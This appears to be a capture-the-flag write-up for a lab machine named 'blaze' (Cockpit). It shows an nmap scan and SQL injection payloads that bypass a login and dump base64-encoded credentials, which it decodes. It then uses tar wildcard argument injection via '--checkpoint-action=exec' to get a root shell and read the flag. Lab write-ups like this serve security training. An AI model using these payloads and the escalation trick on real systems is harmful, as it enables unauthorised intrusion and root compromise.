Nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: blaze
9090/tcp open  http    Cockpit web service 198 - 220
|_http-title: Did not follow redirect to https://192.168.209.10:9090/
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Findings

There is a login.php page on port 80.
There is a Cockpit login page on 9090.
The title is misleading because they want you to attack port 80.

Found a .txt file explaining the SQL injection on searchsploit.
aa' OR [SQL] OR 'a'='1

The login bypass works but we get taken to a page saying we’ve been blocked and reported.

We can use different injections to extract data:
aa' UNION SELECT NULL, NULL, NULL, NULL, NULL--

We get two users creds that look encoded/hashed

Username 	Password
james 	Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=
cameron 	dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy
┌──(kali㉿kali)-[~/ProvingGrounds/Cockpit]
└─$ echo 'Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=' | base64 -d       
canttouchhhthiss@455152                                                          
┌──(kali㉿kali)-[~/ProvingGrounds/Cockpit]
└─$ echo 'dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy' | base64 -d
thisscanttbetouchedd@455152                                                      

Tried SSHing in but neither cred worked - permission denied.

We can however now log into Cockpit on 9090.

Privilege Escalation

James can run a tar command as sudo.

james@blaze:~$ sudo -l
Matching Defaults entries for james on blaze:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on blaze:
    (ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *

We create a file that spawns a bash shell in the /tmp directory, and then create some blank files that will be interpreted as arguments (the * is important).

james@blaze:~$ echo '#!/bin/bash' > shell.sh
james@blaze:~$ echo '/bin/bash' >> shell.sh
james@blaze:~$ cat shell.sh 
#!/bin/bash
/bin/bash
james@blaze:~$ chmod +x shell.sh 
james@blaze:~$ mv shell.sh /tmp
james@blaze:~$ cd /tmp
james@blaze:/tmp$ touch -- '--checkpoint=1'
james@blaze:/tmp$ touch -- '--checkpoint-action=exec=sh shell.sh'
james@blaze:/tmp$ sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
shell.sh
snap-private-tmp/
snap-private-tmp/snap.lxd/
snap-private-tmp/snap.lxd/tmp/
ssh-2uj4OWBdZn5K/
/usr/bin/tar: ssh-2uj4OWBdZn5K/agent.126185: socket ignored
systemd-private-6fc4de968d224908a1e1affeef8aff54-apache2.service-IqHnog/
systemd-private-6fc4de968d224908a1e1affeef8aff54-apache2.service-IqHnog/tmp/
systemd-private-6fc4de968d224908a1e1affeef8aff54-fwupd.service-Jqhkfi/
systemd-private-6fc4de968d224908a1e1affeef8aff54-fwupd.service-Jqhkfi/tmp/
systemd-private-6fc4de968d224908a1e1affeef8aff54-ModemManager.service-Br1JLi/
systemd-private-6fc4de968d224908a1e1affeef8aff54-ModemManager.service-Br1JLi/tmp/
systemd-private-6fc4de968d224908a1e1affeef8aff54-systemd-logind.service-cQoLqi/
systemd-private-6fc4de968d224908a1e1affeef8aff54-systemd-logind.service-cQoLqi/tmp/
systemd-private-6fc4de968d224908a1e1affeef8aff54-systemd-resolved.service-hvH58h/
systemd-private-6fc4de968d224908a1e1affeef8aff54-systemd-resolved.service-hvH58h/tmp/
systemd-private-6fc4de968d224908a1e1affeef8aff54-systemd-timedated.service-aH5c5f/
systemd-private-6fc4de968d224908a1e1affeef8aff54-systemd-timedated.service-aH5c5f/tmp/
systemd-private-6fc4de968d224908a1e1affeef8aff54-systemd-timesyncd.service-hufyLi/
systemd-private-6fc4de968d224908a1e1affeef8aff54-systemd-timesyncd.service-hufyLi/tmp/
root@blaze:/tmp# cd /root
root@blaze:~# cat proof.txt 
c63f61ea27aee52eecf2ca3dd8f4d57f
root@blaze:~# 

Why This Works

The shell expands the wildcard * before passing it to the binary. Because the file names start with dashes (--), tar interprets them as command-line options rather than filenames, triggering the execution of shell.sh with root privileges.